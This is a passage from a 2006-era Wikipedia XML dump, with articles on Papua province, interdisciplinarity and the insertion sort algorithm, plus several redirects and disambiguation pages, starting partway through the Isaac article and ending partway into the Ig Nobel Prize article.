The story also appears in the Qur'an, except Islam asserts that [[Ishmael]] was the one to be sacrificed because he was the only son of Abraham at the time, not Isaac (see [[Similarities between the Bible and the Qur'an]]). 


''Initial text from Easton's Bible Dictionary, 1897 &amp;mdash; Please update as needed.''

[[Category:Torah people]]



[[Maori:Ihaka]]

[[ar:اسحاق]]
[[ca:Isaac]]
[[de:Isaak]]
[[el:Ισαάκ]]
[[es:Isaac]]
[[fr:Isaac]]
[[he:יצחק]]
[[la:Isaac]]
[[nl:Izaäk (Hebreeuwse Bijbel)]]
[[ja:イサク]]
[[no:Isak]]
[[pl:Izaak (Biblia)]]
[[pt:Isaac]]
[[ru:Исаак]]
[[sv:Isak (patriark)]]
[[zh:以撒]]</text>
    </revision>
  </page>
  <page>
    <title>Italian Football League</title>
    <id>15193</id>
    <revision>
      <id>15912684</id>
      <timestamp>2004-10-30T01:07:24Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Italian football league system]]</text>
    </revision>
  </page>
  <page>
    <title>Iduna</title>
    <id>15195</id>
    <revision>
      <id>18366332</id>
      <timestamp>2005-07-08T01:02:47Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <comment>Clarification</comment>
      <text xml:space="preserve">'''Iduna''' can mean several things:

* An alternative name for the [[Norse mythology|Norse]] goddess [[Iðunn]].
* [[Asteroid]] [[176 Iduna]] named after the goddess.
* The [[Iduna language]] of [[Papua New Guinea]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Infra-red radiation</title>
    <id>15196</id>
    <revision>
      <id>15912687</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Infrared]]
</text>
    </revision>
  </page>
  <page>
    <title>Infra-red</title>
    <id>15197</id>
    <revision>
      <id>15912688</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Infrared]]
</text>
    </revision>
  </page>
  <page>
    <title>Indic</title>
    <id>15198</id>
    <revision>
      <id>15912689</id>
      <timestamp>2004-11-21T17:43:34Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <comment>merge with Indo-Aryan languages</comment>
      <text xml:space="preserve">#REDIRECT[[Indo-Aryan languages]]</text>
    </revision>
  </page>
  <page>
    <title>Papua (Indonesian province)</title>
    <id>15199</id>
    <revision>
      <id>42037639</id>
      <timestamp>2006-03-03T10:45:15Z</timestamp>
      <contributor>
        <username>Birdmessenger</username>
        <id>142230</id>
      </contributor>
      <minor />
      <comment>/* Geography */fixing redirect</comment>
      <text xml:space="preserve">[[Image:IndonesiaPapua2.png|frame|right|Map showing Papua province in Indonesia]]

'''Papua''' is a [[Provinces of Indonesia|province]] of [[Indonesia]] comprising part of the western half of the island of [[New Guinea]] and nearby islands (see also [[Western New Guinea]]). (The name ''Papua'' has had a somewhat confusing history: for details see the discussion under [[New Guinea]]). The name '''West Papua''' is preferred among nationalists who hope to separate from Indonesia and form their own country (the region was promised a referendum on independence from [[the Netherlands]]). The province was known as '''West Irian''' or '''Irian Barat''' from 1969 to 1973&amp;mdash;''Irian'' is the [[Indonesian language|Indonesian]] term for the island of New Guinea. It was then renamed '''Irian Jaya''' (roughly translated, &quot;Victorious Irian&quot;) by [[Suharto]], a name that remained in official use until 2002. During the colonial era the region was known as '''Dutch New Guinea''' or '''[[Netherlands New Guinea]]'''.

The province originally covered the entire western half of New Guinea, but in 2003, the western portion of the province, on the [[Bird's Head Peninsula]], was declared by Jakarta as separate province named [[West Irian Jaya]]. The legality of this separation has been disputed as it appears to conflict with a law giving Special Autonomy status to Papua in the year 2000. The status of West Irian Jaya province is not yet resolved as of early 2006.

== Government ==
The nature of Indonesian government in Papua is controversial. International opinion varies a great deal. Some view it as naked [[colonialism]], others maintain that Indonesia represents a legitimate authority with a willing people. Frank expression of views is complicated by the delicate and troubled relationship many nations have with Indonesia. The [[Free Papua Movement]] strives for independence of the area from Indonesia.

According to the United States [http://countrystudies.us/indonesia/84.htm Country Studies - Library of Congress] report about Indonesian government structure:

:''&quot;Since independence the nation has been centrally governed from Jakarta in a system in which the lines of authority, budget, and personnel appointment run outward and downward. Regional and local governments enjoy little autonomy. Their role is largely administrative: implementing policies, rules, and regulations. Regional officialdom is an extension of the Jakarta bureaucracy. The political goal is to maintain the command framework of the unitary state, even at the cost of developmental efficiency. Governments below the national level, therefore, serve essentially as subordinate administrative units through which the functional activities of Jakarta-based departments and agencies reach out into the country.&quot;''

In January 2006, 43 refugees landed on the coast of Australia and stated that the Indonesian military is carrying out a genocide in Papua. They have been transported to an Australian immigration detention facility on Christmas Island, 2600 km north-west of Perth, and 360 km south of the western head of Java. Their claims for asylum are currently being assessed.

In 1999 it was proposed to split the province into three government-controlled sectors, sparking Papuan protests (see [http://www.worldevangelical.org/persec_papua_21nov03.html external article]). In January 2003 President [[Megawati Sukarnoputri]] signed an order dividing Papua into three provinces: [[Central Irian Jaya]] ([[Irian Jaya Tengah]]), Papua (or [[East Irian Jaya]], [[Irian Jaya Timur]]), and [[West Irian Jaya]] ([[Irian Jaya Barat]]). The formality of installing a local government for Jaraka in Irian Jaya Barat (West) took place in February 2003 and a governor was appointed in November; a government for Irian Jaya Tengah (central) was delayed from August 2003 due to violent local protests. The creation of this separate central province was blocked by Indonesian courts, who declared it to be unconstitutional and in contravention of the Papua's special autonomy agreement. The previous division into two provinces was allowed to stand as an established fact. (King, 2004, p. 91)

== Regions ==
[[Image:Papua, Indonesian province.JPG|right|thumb|280px|Map showing major Papuan cities]]
Indonesia structures regions by [[regency (Indonesia)|regencies]] and subdistricts within those. Though names and areas of control of these regional structures can vary over time in accord with changing political and other requirements, in 2005 Papua province consisted of 9 regencies. (''kabupaten'') &lt;!--1 city (''kotamadya''), 117 subdistricts (''kecamatan''), 66 ''kelurahan'', and 830 villages (''desa'').--&gt;

The regencies (&quot;kabupaten&quot;) are: [[Mimika]]; [[Yapen-Waropen]]; [[Biak-Numfor]]; [[Nabire]]; [[Puncak Jaya]]; [[Paniai]]; [[Jayawijaya]]; [[Merauke]]; and [[Jayapura]]. In addition to these, the city of Jayapura also has the status of a regency.

[[Jayapura]], founded on [[7 March]] [[1910]] as ''Hollandia'', had by 1962 developed into a city with modern civil, educational, and medical services. Since Indonesian administration these services have been replaced by Indonesian equivalents such as the TNI (the army) replacing the Papua Battalion. The name of the city has been changed to Kotabaru, then to Sukarnopura and finally to its current official name. Papuans now like to call it Port Numbai, the name of the place before the arrival of foreigners.

Jayapura is the largest city, boasting a small but active tourism industry, it is built on a slope overlooking the bay. [[Cendrawasih University]] or [[Uncen]] campus at Abepura houses the [[University Museum]]. Both [[Tanjung Ria]] beach, near the market at Hamadi&amp;mdash;site of the [[22 April]] 1944 [[Allies#World War II|Allied]] invasion during [[World War II]]&amp;mdash;and the site of General [[Douglas MacArthur|Douglas MacArthur's]] World War II headquarters at Ifar Gunung have monuments commemorating the events.

== Geography ==
A central East-West [[mountain range]] dominates the geography of New Guinea, over 1600 [[kilometre|km]] in total length. The western section is around 600 km long and 100 km across. Steep mountains 3000 to 4000 m and up to 5000 m high along the range ensures a steady supply of rain from the tropical atmosphere. The [[tree line]] is around 4000 m [[elevation]] and the tallest peaks are snowbound year round.

Both North and West of the central ranges the land remains mountainous mostly 1000 to 2000 m high covered by thick [[rain forest]] and a warm humid year round climate.

The third major habitat feature is the south east lowlands with extensive [[wetland]]s stretching for hundreds of kilometers.

The [[Mamberamo]] river, sometimes referred to as the &quot;[[Amazon River|Amazon]] of Papua&quot; is the province's largest river which winds through the northern part of the province.  The result is a large area of lakes and rivers known as the Lakes Plains region.  The famous [[Baliem Valley]], home of the [[Dani (ethnic group)|Dani]] people is a tableland 1600 m above sea level in the midst of the central mountain range; [[Carstensz Pyramid]] (Puncak Jaya) is a mist covered limestone mountain peak 4884 m above sea level.

== Tribes ==
The following are some of the most well-known tribes of Papua:

*[[Amungme]]
*[[Asmat]]
*[[Bauzi]]
*[[Dani]]
*[[Kamoro]]
*[[Kombai]]
*[[Korowai]]
*[[Mee]]
*[[Sentani]]
*[[Yali people|Yali]]

== Demographics == 
The population of Papua province and the neighboring [[West Irian Jaya]], both of which are still under a united administration, totalled 2,646,489 in [[2005]].&lt;ref&gt;[http://irja.bps.go.id/LEFT%20FRAME/Proyeksi%20Penduduk%20%20menurut%20Kabupaten.htm BPS Papua]&lt;/ref&gt; Since the early [[1990s]] Papua has had the highest population growth rate of all Indonesian provinces at over 3% annually. This is partly a result of high birth rates, but also from immigration from other regions in Indonesia.

According to the [[2000]] census, 78% of the Papuan population identified themselves as Christian with 54% being Protestant and 24% being Catholic. 21% of the population was Muslim and less than 1% were Buddhist or Hindu.&lt;ref&gt;[http://eng.papua.go.id/profil/profilpapua.html Profile of Papua - The Governmen tof Papua Province]&lt;/ref&gt; There is also substantial practice of [[animism]] by Papuans, which is not recorded by the Indonesian government in line with the policy of [[Pancasila Indonesia|Pancasila]].

== Ecology ==
A vital tropical rainforest with the tallest tropical trees and vast biodiversity, Papua's known forest fauna includes [[marsupials]] (including [[possum]]s, [[wallabies]], [[tree-kangaroo]]s, [[cuscus]]es), other mammals (including the endangered [[Long-beaked Echidna]]), many bird species (including [[birds of paradise]], [[cassowary|cassowaries]], [[parrot]]s, [[cockatoo]]s), the world's longest lizards (Papua [[Monitor_lizard|monitor]]) and the world's largest butterflies.

The island has an estimated 16,000 species of plant, 124 genera of which are endemic.

The extensive waterways and wetlands of Papua are also home to salt and freshwater [[crocodile]], [[tree monitors]], [[megabat|flying foxes]], [[osprey]], [[bats]] and other animals; while the equatorial glacier fields remain largely unexplored.

In [[February]] [[2006]], a team of scientists exploring the [[Foja Mountains]] discovered numerous new species of birds, butterflies, amphibians, and plants, including a species of [[rhododendron]] which may have the largest bloom of the genus.&lt;ref&gt;McDowell, Robin. [http://www.canada.com/vancouversun/news/story.html?id=978c0a2b-4d79-4d09-b5a6-074e7daaabb9 &quot;'Lost world' yields exotic new species&quot;]. ''The Vancouver Sun'' 8 February 2006.&lt;/ref&gt;

Ecological threats include logging-induced [[deforestation]], forest conversion for plantation agriculture (especially [[oil palm]]), smallholder agricultural conversion, the introduction and potential spread of non-native alien species such as the [[Crab-eating Macaque]] which preys on and competes with indigenous species, the illegal species trade, and water pollution from oil and mining operations.

==See also==
*[[Papua]]
*[[New Guinea]]
*[[Kaiser-Wilhelmsland]]
*[[Western New Guinea]]
*[[West Irian Jaya]]
*[[British New Guinea]]
*[[German New Guinea]]
*[[Dutch New Guinea]]
*[[Human rights in western New Guinea]]

==Notes==
&lt;references/&gt;

==External links==
* [http://www.irja.org/index2.shtml Online Library West Papua, Irian Jaya]
* [http://www.eco-action.org/ssp/resources.html Extensive Library, some material written by Lani (highland) tribespeople]
* [http://www.papuaweb.org/ PapuaWeb]
* [http://www.law.yale.edu/outside/html/Public_Affairs/426/westpapuahrights.pdf &quot;Human Abuse in West Papua - Application of Law to Genocide&quot;]
* [http://www.nzz.ch/dossiers/2001/westpapua/2000.12.22-engl-article72F07.html &quot;Prison, Torture and Murder in Jayapura - Twelve Days in an Indonesian Jail&quot; (''Neue Zürcher Zeitung'', 2000)]
* [http://www.papuaweb.org/goi/pp/peta-hr.gif Map showing the three new provinces]
* [http://www2.gwu.edu/~nsarchiv/NSAEBB/NSAEBB128/index.htm Declassified US documents on &quot;Act of free choice&quot;]
* [http://www.worldevangelical.org/persecute/persec_Papua_31Mar05.html Papua: Christian Leaders Fear Genocide]
* [http://www.ethnologue.com/show_country.asp?name=IDP Languages and Ethnic Groups of Papua Province, SIL Ethnologue]

===Ecology===
*[http://russbaker.com/The%20Nation%20-%20The%20Deforesting%20of%20Irian%20Jaya.htm The Deforesting of Irian Jaya, 1994]
*[http://web.archive.org/web/20040726043852/veederandld.20m.com/primnews/10201.html Monkeys Threaten New Guinea's Wildlife], October 2, 2001, '''Wall Street Journal''' (archived)
*[http://www.sidsnet.org/archives/biodiversity-newswire/2001/0055.html An article on biodiversity]
*[http://www.wetlands.or.id/irj20.htm Wetlands Study]

==References==
* King, Peter, ''West Papua Since Suharto: Independence, Autonomy, or Chaos?''.  University of New South Wales Press, 2004, ISBN 0868406767.


{{Indonesia}}

[[Category:Provinces of Indonesia]]
[[Category:New Guinea]]
[[Category:Disputed territories]]

[[de:Papua (Provinz)]]
[[id:Papua]]
[[it:Irian Jaya]]
[[lt:Vakarų Papua]]
[[ja:イリアンジャヤ]]
[[nl:Papua]]
[[pl:Papua (prowincja)]]
[[sk:Papua (provincia)]]
[[sv:Papua (Irian Jaya)]]
[[zh:巴布亚(印尼省分)]]</text>
    </revision>
  </page>
  <page>
    <title>IMF (disambiguation)</title>
    <id>15200</id>
    <revision>
      <id>34132553</id>
      <timestamp>2006-01-06T17:45:19Z</timestamp>
      <contributor>
        <ip>130.76.96.17</ip>
      </contributor>
      <text xml:space="preserve">'''IMF''', abbreviation:
* [[Intelligent Message Filter]], server-side message filtering, heuristics-based message analysis.
* [[International Metalworkers' Federation]], a global union federation
* [[International Monetary Fund]]
* [[International Music Feed]], a music video television network.
* [[Initial Mass Function]], in [[Big Bang]] theories of [[astronomy]].
* [[Impossible Missions Force]], a secret espionage agency in the [[Mission: Impossible]] television series and series of movies

{{TLAdisambig}}
[[ja:IMF]]</text>
    </revision>
  </page>
  <page>
    <title>Interdisciplinarity</title>
    <id>15201</id>
    <revision>
      <id>41026211</id>
      <timestamp>2006-02-24T15:57:29Z</timestamp>
      <contributor>
        <username>MaxVeers</username>
        <id>334437</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Interdisciplinarity''' is a type of academic collaboration in which specialists drawn from two or more [[academic]] [[discipline|disciplines]] work together in pursuit of common goals. 

Interdisciplinary programs sometimes arise from a shared conviction that the traditional disciplines are unable or unwilling to address an important problem. For example, social science disciplines such as anthropology and sociology paid little attention to the social analysis of technology throughout most of the twentieth century. As a result, many social scientists with interests in technology have joined [[science and technology studies]] programs, which are typically staffed by scholars drawn from numerous disciplines (including [[anthropology]], [[history]], [[philosophy]], [[sociology]], and [[women's studies]]). They may also arise from new research developments, such as [[nanotechnology]], which cannot be addressed without combining the approaches of two or more disciplines. Examples include [[quantum information processing]], which amalgamates elements of [[quantum physics]] and [[computer science]], and  
[[bioinformatics]], which combines [[molecular biology]] with computer science.

Many scientists believe that the most pressing problems facing humanity, including the [[AIDS]] [[pandemic]], [[global warming]], and the loss of [[biodiversity]], can be solved only by developing interdisciplinary approaches.  

==Multidisciplinarity==

There are varying degrees of interdisciplinarity.  In [[multidisciplinarity]], researchers from two or more disciplines work together on a common problem, but without altering their disciplinary approaches or developing a common conceptual framework. True interdisciplinarity occurs when researchers from two or more disciplines pool their approaches and modify them so that they are better suited to the problem at hand.

==Barriers to interdisciplinarity==
Because most participants in interdisciplinary ventures were trained in traditional disciplines, they must learn to appreciate differing perspectives and approaches.  For example, a discipline that places more emphasis on quantitative &quot;rigor&quot; may produce practitioners who think of themselves (and their discipline) as &quot;more scientific&quot; than others; in turn, colleagues in &quot;softer&quot; disciplines may associate quantitative approaches with an inability to grasp the broader dimensions of a problem. An interdisciplinary program may not succeed if its members remain stuck in their disciplines (and in disciplinary attitudes).

From the disciplinary perspective, much interdisciplinary work is &quot;soft,&quot; lacking in rigor, or ideologically motivated; these beliefs place barriers in the career paths of those who choose interdisciplinary work.  For example, interdisciplinary grant applications are often refereed by [[peer review|peer reviewers]] drawn from established [[Academic discipline|disciplines]]; not surprisingly, interdisciplinary researchers may experience difficulty getting funding for their research. In addition, untenured researchers know that, when they seek [[promotion]] and [[tenure]], it is likely that some of the evaluators will lack commitment to interdisciplinarity. They may fear that making a commitment to interdisciplinary research will increase the risk of being denied tenure.

Interdisciplinary programs may fail if they are not given sufficient autonomy. For  example, it is a common practice to recruit new interdisciplinary faculty to a [[joint appointment]], with responsibilities in both an interdisciplinary program (such as [[women's studies]]) and a traditional discipline (such as [[history]]).  If the traditional discipline makes the tenure decisions, new interdisciplinary faculty will be hesitant to commit themselves fully to interdisciplinary work. 

Due to the existence of these and other barriers, interdisciplinary research areas are strongly motivated to become disciplines themselves. If they succeed, they can establish their own research funding programs and make their own tenure and promotion decisions. In so doing, they lower the risk of entry.  Examples of former interdisciplinary research areas that have become disciplines include [[neuroscience]], [[biochemistry]], and [[biomedical engineering]].

==New interdisciplinary programs==

Universities worldwide recognize that, in order to address the problems facing humanity today, they must increase their commitment to interdisciplinarity. For example, a grass-roots effort by faculty and students at  [[Stanford University]] resulted in a new program called [[Bio-X]], which explores the intersections among biology, computer science, medicine, and engineering. The program is housed in the [[Clark Center]], which opened in 2003. Situated along the pathways between the university and the medical center, the Clark Center is designed to both express and facilitate the concept of interdisciplinarity. Each lab is equipped with at least two scientists from each of the participating disciplines, but they are by no means fixed:  for example, walls can be moved (or eliminated), and all equipment is on wheels. The entire building is designed to facilitate interdisciplinary communication and to accommodate new, rapid, and unexpected growth as it occurs.

A similar program has recently been instituted at [[Truman State University]] in Kirksville, Missouri.  Undergraduate students must apply for acceptance into the program, and in the process design their own major using available courses in disciplinary programs.  The major requires students take only two courses: an introductory course to interdisciplinary studies (focusing on the theory of interdisciplinarity) and a senior capstone (focusing on synthesis/praxis).  The first class of IDSM majors at the school were: Rhetoric and Power, Philosophy in Literature, and Gender in Politics, though recently Biochemistry, Medieval Studies, and East Asian Studies were proposed.

== Relation to holism ==

Interdisciplinarity is a typical trait of [[Holism|holistic]] approaches in science. Not all scientists that are committed to interdisciplinarity consider themselves holists, however, as the term &quot;holism&quot; can carry negative connotations. {{See|Holism in science}}

== See also ==
Highly interdisciplinary fields (see also: [[:Category:Interdisciplinary fields]])
{{col-begin}}
{{col-break}}
* [[American studies]]
* [[Biomedical engineering]]
* [[Biomedical informatics]]
* [[Biomedical technology]]
* [[Cognitive science]]
* [[Computer graphics]]
* [[Cybernetics]]
* [[Film studies]]
* [[Integrative learning]]
* [[Intelligence (information gathering)|Intelligence analysis]]
* [[Liberal arts college|Liberal arts]]
{{col-break}}
* [[Library and information science]]
* [[Media studies]]
* [[Nanotechnology]]
* [[Nativist theorizing]]
* [[Political economy]]
* [[Science studies]]
* [[Science and technology studies]]
* [[Systems theory]]
* [[Women's studies]]
{{col-end}}

== External links ==
* [http://www.units.muohio.edu/aisorg/ Association for Integrative Studies]

* [http://members.door.net/arisbe/menu/library/aboutcsp/awbrey/integrat.htm Awbrey, S. and Awbrey, J. (1999), &quot;Integrative Universities&quot;], ''2nd International Conference of the Journal &quot;Organization&quot;'', UMASS, Amherst, 17-[[19 September]] [[1999]].

* [http://www.manchester.ac.uk/cidra/ Centre for Interdisciplinary Research in the Arts (University of Manchester)]

* [http://www.shef.ac.uk/philosophy/department/hangseng/ Hang Seng Centre for Cognitive Studies]

* [http://sciencecareerst.sciencemag.org/career_development/issue/articles/2100/interdisciplinarity_and_tenure/ Interdisciplinarity and tenure]

* Johnston, R. (2003). [http://www.cia.gov/csi/kent_csi/pdf/v47i1a06p.pdf Integrating methodologists into teams of substantive experts]. ''Studies in Intelligence 47''(1).

[[de:Interdisziplinarität]]
[[nl:Interdisciplinariteit]]
[[sl:interdisciplinarnost]]

[[Category:Interdisciplinary fields| ]]</text>
    </revision>
  </page>
  <page>
    <title>Immediate subordinate</title>
    <id>15202</id>
    <revision>
      <id>15912693</id>
      <timestamp>2003-04-10T21:42:30Z</timestamp>
      <contributor>
        <ip>217.158.106.24</ip>
      </contributor>
      <comment>#REDIRECT [[Hierarchy]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hierarchy]]</text>
    </revision>
  </page>
  <page>
    <title>Immediate superior</title>
    <id>15203</id>
    <revision>
      <id>15912694</id>
      <timestamp>2003-04-10T21:42:12Z</timestamp>
      <contributor>
        <ip>217.158.106.24</ip>
      </contributor>
      <comment>#REDIRECT [[Hierarchy]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hierarchy]]</text>
    </revision>
  </page>
  <page>
    <title>Internet in Art</title>
    <id>15204</id>
    <revision>
      <id>15912695</id>
      <timestamp>2003-10-15T07:17:23Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[internet art]]</comment>
      <text xml:space="preserve">#REDIRECT [[internet art]]</text>
    </revision>
  </page>
  <page>
    <title>Insertion sort</title>
    <id>15205</id>
    <revision>
      <id>41979239</id>
      <timestamp>2006-03-03T00:37:08Z</timestamp>
      <contributor>
        <username>Allan McInnes</username>
        <id>647621</id>
      </contributor>
      <comment>/* External links */  link to LiteratePrograms implementations</comment>
      <text xml:space="preserve">'''Insertion sort''' is a simple [[sort algorithm]], a [[comparison sort]] in which the sorted array (or list) is built one entry at a time.  It is much less efficient on large lists than the more advanced algorithms such as [[quicksort]], [[heapsort]], or [[merge sort]], but it has various advantages:

* Simple to implement
* Efficient on (quite) small data sets
* Efficient on data sets which are already substantially sorted
* More efficient in practice than most other simple [[big O notation|O]](''n''&lt;sup&gt;2&lt;/sup&gt;) algorithms such as [[selection sort]] or [[bubble sort]]: the average time is ''n''&lt;sup&gt;2&lt;/sup&gt;/4 and it is linear in the best case
* [[Stable sort|Stable]] (does not change the relative order of elements with equal keys)
* [[In-place algorithm|In-place]] (only requires a constant amount O(1) of extra memory space)
* It is an [[online algorithm]], in that it can sort a list as it receives it.

In abstract terms, each iteration of an insertion sort removes an element from the input data, inserting it at the correct position in the already sorted list, until no elements are left in the input. The choice of which element to remove from the input is arbitrary and can be made using almost any choice algorithm.

Sorting is typically done in-place. The result array after ''k'' iterations contains the  first ''k'' entries of the input array and is sorted. 
In each step, the first remaining entry of the input is removed, inserted into the result at the right position, thus extending the result:

[[Image:insertionsort-before.png | The array right before insertion of x]]

becomes:

[[Image:insertionsort-after.png | The array right after insertion of x]]

with each element &gt; ''x'' copied to the right as it is compared against ''x''.

The most common variant, which operates on arrays, can be described as:

# Suppose we have a method called ''insert'' designed to insert a value into a sorted sequence at the beginning of an array. It operates by starting at the end of the sequence and shifting each element one place to the right until a suitable position is found for the new element. It has the side effect of overwriting the value stored immediately after the sorted sequence in the array.
# To perform insertion sort, start at the left end of the array and invoke ''insert'' to insert each element encountered into its correct position. The ordered sequence into which we insert it is stored at the beginning of the array in the set of indexes already examined. Each insertion overwrites a single value, but this is okay because it's the value we're inserting.

A simple pseudocode version of the complete algorithm follows, where the arrays are zero-based:

  &lt;u&gt;insert&lt;/u&gt;(''array'' a, ''int'' length, value) {
      ''int'' i := length - 1;
      '''while''' (i &amp;ge; 0 '''and''' a[i] &gt; value) {
          a[i + 1] := a[i];
          i := i - 1;
      }
      a[i + 1] := value;
  }
  
  &lt;u&gt;insertionSort&lt;/u&gt;(''array'' a, ''int'' length) {
      ''int'' i := 1;
      '''while''' (i &lt; length) {
          insert(a, i, a[i]);
          i := i + 1;
      }
  }

__NOTOC__
== Good and bad input cases ==

In the best case of an already sorted array, this implementation of insertion sort takes [[big O notation|O]](''n'') time: in each iteration, the first remaining element of the input is only compared with the last element of the result.
It takes O(''n''&lt;sup&gt;2&lt;/sup&gt;) time in the average and worst cases, which makes it impractical for sorting large numbers of elements.
However, insertion sort's inner loop is very fast, which often makes it one of the fastest algorithms for sorting small numbers of elements, typically less than 10 or so.

== Variants ==

D.L. Shell made substantial improvements to the algorithm, and the modified version is called [[Shell sort]]. 
It compares elements separated by a distance that decreases on each pass. Shellsort has distinctly improved running times in practical work, with two simple variants requiring O(''n''&lt;sup&gt;3/2&lt;/sup&gt;) and O(''n''&lt;sup&gt;4/3&lt;/sup&gt;) time.

If comparisons are very costly compared to swaps, as is the case for example with string keys stored by reference, then using binary insertion sort can be a good strategy. Binary insertion sort employs [[binary search]] to find the right place to insert new elements, and therefore performs &lt;math&gt;\lceil ln(n!) \rceil&lt;/math&gt; comparisons in the worst case, which is &amp;Theta;(''n'' log ''n''). The algorithm as a whole still takes &amp;Theta;(''n''&lt;sup&gt;2&lt;/sup&gt;) time on average due to the series of swaps required for each insertion, and since it always uses binary search, the best case is no longer O(''n'') but O(''n log n'').

To avoid having to make a series of swaps for each insertion, we could instead store the input in a [[linked list]], which allows us to insert and delete elements in constant time. Unfortunately, binary search on a linked list is impossible, so we still spend &amp;Omega;(n&lt;sup&gt;2&lt;/sup&gt;) time searching. If we instead replace it by a more sophisticated [[data structure]] such as a [[heap (data structure)|heap]] or [[binary tree]], we can significantly decrease both search and insert time. This is the essence of [[heap sort]] and [[binary tree sort]].

In 2004, Bender, Farach-Colton, and Mosteiro published a new variant of insertion sort called ''[[library sort]]'' or ''gapped insertion sort'' that leaves a small number of unused spaces (&quot;gaps&quot;) spread throughout the array. The benefit is that insertions need only shift elements over until a gap is reached. Surprising in its simplicity, they show that this sorting algorithm runs with high probability in O(''n'' log ''n'') time. [http://citeseer.ist.psu.edu/bender04insertion.html]

== Comparisons to other sorts ==

Insertion sort is very similar to [[bubble sort]]. In bubble sort, after ''k'' passes through the array, the ''k'' largest elements have bubbled to the top.  (Or the ''k'' smallest elements have bubbled to the bottom, depending on which way you do it.)  In insertion sort, after ''k'' passes through the array, you have a run of ''k'' sorted elements at the bottom of the array.  Each pass inserts another element into the sorted run.   So with bubble sort, each pass takes less time than the previous one, but with insertion sort, each pass may take more time than the previous one.

Some [[divide-and-conquer algorithm]]s such as [[quicksort]] and [[mergesort]] sort by recursively dividing the list into smaller sublists which are then sorted. A useful optimization in practice for these algorithms is to switch to insertion sort for &quot;small enough&quot; sublists on which insertion sort outperforms the more complex algorithms. The size of list for which insertion sort has the advantage varies by environment and implementation, but is typically around 8 to 20 elements.

== Implementations ==
{{main|Insertion sort implementations}}
This section shows just a few representative implementations of insertion sort. For a more comprehensive list of implementations, see ''[[Insertion sort implementations]]''.

&lt;!-- Before adding an implementation, please consider whether it adds significantly in a conceptual way beyond the implementations already present. If not, you can still edit [[Insertion sort implementations]]. If so, you can edit the contents of this section using this link:

http://en.wikipedia.org/w/index.php?title=Template:Insertion_sort_core_implementations&amp;action=edit

--&gt;
{{Insertion sort core implementations}}

==External links==
* [http://web.engr.oregonstate.edu/~minoura/cs162/javaProgs/sort/InsertSort.html An animated Java applet showing a step-by-step insertion sort.]
* [http://literateprograms.org/Category:Insertion_sort Annotated implementations of insertion sort in various languages]

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Section 5.2.1: Sorting by Insertion, pp.80&amp;ndash;105.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Section 2.1: Insertion sort, pp.15&amp;ndash;21.

[[Category:Sort algorithms]]

[[de:Insertionsort]]
[[es:Ordenamiento por inserción]]
[[fr:Tri par insertion]]
[[he:מיון הכנסה]]
[[it:Insertion sort]]
[[lt:Įterpimo rūšiavimo algoritmas]]
[[nl:Insertion sort]]
[[ja:挿入ソート]]
[[pl:Sortowanie przez wstawianie]]
[[pt:Insertion sort]]
[[ru:Сортировка методом вставок]]
[[fi:Lisäyslajittelu]]
[[zh:插入排序]]</text>
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  </page>
  <page>
    <title>Incompetence</title>
    <id>15206</id>
    <revision>
      <id>40037519</id>
      <timestamp>2006-02-17T17:53:51Z</timestamp>
      <contributor>
        <username>Run!</username>
        <id>635594</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">'''Incompetence''' can refer to:

:* '''Incompetence''', the condition of a person who is unable to properly perform his or her [[duty]].
:* '''Incompetence''' (in [[law]]), the failure to meet defined standards of [[competence]].
:* '''''[[Incompetence (book)|Incompetence]]''''', a [[novel]] by [[Rob Grant]].

== See also ==
*[[Administrative incompetence]]
*[[Military incompetence]]
*[[Darwin Awards]]
*[[Hanlon's Razor]]

{{disambig}}

[[pt:Incompetência]]</text>
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  </page>
  <page>
    <title>Ig Nobel Prize</title>
    <id>15207</id>
    <revision>
      <id>40604073</id>
      <timestamp>2006-02-21T19:43:41Z</timestamp>
      <contributor>
        <ip>165.138.227.252</ip>
      </contributor>
      <text xml:space="preserve">The '''Ig Nobel Prizes''' are a [[parody]] of the [[Nobel Prize]]s and are given each year in early fall &amp;mdash; around the time the recipients of the genuine Nobel Prizes are announced &amp;mdash; for ten achievements that &quot;first make people laugh, and then make them think.&quot;  The name itself is a play on the words [[wikt:ignoble|ignoble]] and &quot;Nobel.&quot; Sponsored by the scientific [[Humour|humor]] journal [[Annals of Improbable Research]] (AIR), they are presented by genuine [[Nobel Prize|Nobel Laureates]] at a ceremony in [[Harvard University]]'s [[Sanders Theatre]]. 

The awards are sometimes veiled criticism &amp;mdash; as in the two awards given for [[homeopathy]] research, or prizes in &quot;science education&quot; to Kansas and Colorado state boards of education for their stance regarding the teaching of evolution &amp;mdash; but more often they draw attention to scientific articles that have some funny or unexpected aspect. Examples range from the discovery that the presence of [[humans]] tends to sexually arouse [[ostrich]]es, to the statement that [[black holes]] fulfill all the technical requirements to be the location of [[Hell]], to research on the &quot;[[five-second rule]],&quot; a tongue-in-cheek belief that food dropped on the floor won't become contaminated if it is picked up within five seconds.  

